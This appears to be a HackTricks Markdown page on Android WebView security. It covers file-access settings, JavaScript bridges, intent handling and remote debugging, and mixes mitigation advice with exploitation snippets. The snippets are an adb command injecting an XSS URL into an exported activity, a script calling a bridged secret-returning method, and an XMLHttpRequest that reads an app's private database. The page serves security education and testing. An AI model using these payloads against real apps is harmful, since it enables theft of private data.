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https://github.com/carlospolop/hacktricks
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169 lines
8.8 KiB
Markdown
169 lines
8.8 KiB
Markdown
# Webview Attacks
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Guide on WebView Configurations and Security
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### Overview of WebView Vulnerabilities
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A critical aspect of Android development involves the correct handling of WebViews. This guide highlights key configurations and security practices to mitigate risks associated with WebView usage.
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.png>)
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### **File Access in WebViews**
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By default, WebViews permit file access. This functionality is controlled by the `setAllowFileAccess()` method, available since Android API level 3 (Cupcake 1.5). Applications with the **android.permission.READ\_EXTERNAL\_STORAGE** permission can read files from external storage using a file URL scheme (`file://path/to/file`).
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#### **Deprecated Features: Universal and File Access From URLs**
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* **Universal Access From File URLs**: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (`false`) for apps targeting Android Jelly Bean and newer.
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* To check this setting, use `getAllowUniversalAccessFromFileURLs()`.
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* To modify this setting, use `setAllowUniversalAccessFromFileURLs(boolean)`.
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* **File Access From File URLs**: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
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* Use `getAllowFileAccessFromFileURLs()` to check and `setAllowFileAccessFromFileURLs(boolean)` to set.
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#### **Secure File Loading**
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For disabling file system access while still accessing assets and resources, the `setAllowFileAccess()` method is used. With Android R and above, the default setting is `false`.
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* Check with `getAllowFileAccess()`.
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* Enable or disable with `setAllowFileAccess(boolean)`.
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#### **WebViewAssetLoader**
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The **WebViewAssetLoader** class is the modern approach for loading local files. It uses http(s) URLs for accessing local assets and resources, aligning with the Same-Origin policy, thus facilitating CORS management.
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### loadUrl
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This is a common function used to load arbitrary URLs in a webviwe:
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```java
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webview.loadUrl("<url here>")
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```
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Ofc, a potential attacker should never be able to **control the URL** that an application is going to load.
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### **JavaScript and Intent Scheme Handling**
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* **JavaScript**: Disabled by default in WebViews, it can be enabled via `setJavaScriptEnabled()`. Caution is advised as enabling JavaScript without proper safeguards can introduce security vulnerabilities.
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* **Intent Scheme**: WebViews can handle the `intent` scheme, potentially leading to exploits if not carefully managed. An example vulnerability involved an exposed WebView parameter "support\_url" that could be exploited to execute cross-site scripting (XSS) attacks.
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.png>)
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Exploitation example using adb:
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{% code overflow="wrap" %}
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```bash
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adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
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```
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{% endcode %}
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### Javascript Bridge
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A feature is provided by Android that enables **JavaScript** in a WebView to invoke **native Android app functions**. This is achieved by utilizing the `addJavascriptInterface` method, which integrates JavaScript with native Android functionalities, termed as a _WebView JavaScript bridge_. Caution is advised as this method allows all pages within the WebView to access the registered JavaScript Interface object, posing a security risk if sensitive information is exposed through these interfaces.
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* **Extreme caution is required** for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.
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#### Implementing a JavaScript Bridge
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* **JavaScript interfaces** can interact with native code, as shown in the examples where a class method is exposed to JavaScript:
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```javascript
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@JavascriptInterface
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public String getSecret() {
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return "SuperSecretPassword";
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};
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```
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* JavaScript Bridge is enabled by adding an interface to the WebView:
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```javascript
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webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
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webView.reload();
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```
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* Potential exploitation through JavaScript, for instance, via an XSS attack, enables the calling of exposed Java methods:
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```html
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<script>alert(javascriptBridge.getSecret());</script>
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```
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* To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.
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### Reflection-based Remote Code Execution (RCE)
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* A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.
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### Remote Debugging
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* **Remote debugging** is possible with **Chrome Developer Tools**, enabling interaction and arbitrary JavaScript execution within the WebView content.
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#### Enabling Remote Debugging
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* Remote debugging can be enabled for all WebViews within an application by:
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```java
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if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
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WebView.setWebContentsDebuggingEnabled(true);
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}
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```
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* To conditionally enable debugging based on the application's debuggable state:
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```java
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if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
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if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
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{ WebView.setWebContentsDebuggingEnabled(true); }
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}
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```
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## Exfiltrate arbitrary files
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* Demonstrates the exfiltration of arbitrary files using an XMLHttpRequest:
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```javascript
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var xhr = new XMLHttpRequest();
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xhr.onreadystatechange = function() {
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if (xhr.readyState == XMLHttpRequest.DONE) {
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alert(xhr.responseText);
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}
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}
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xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
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xhr.send(null);
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```
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## References
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* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
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* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
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* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
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* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
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* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
|
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|
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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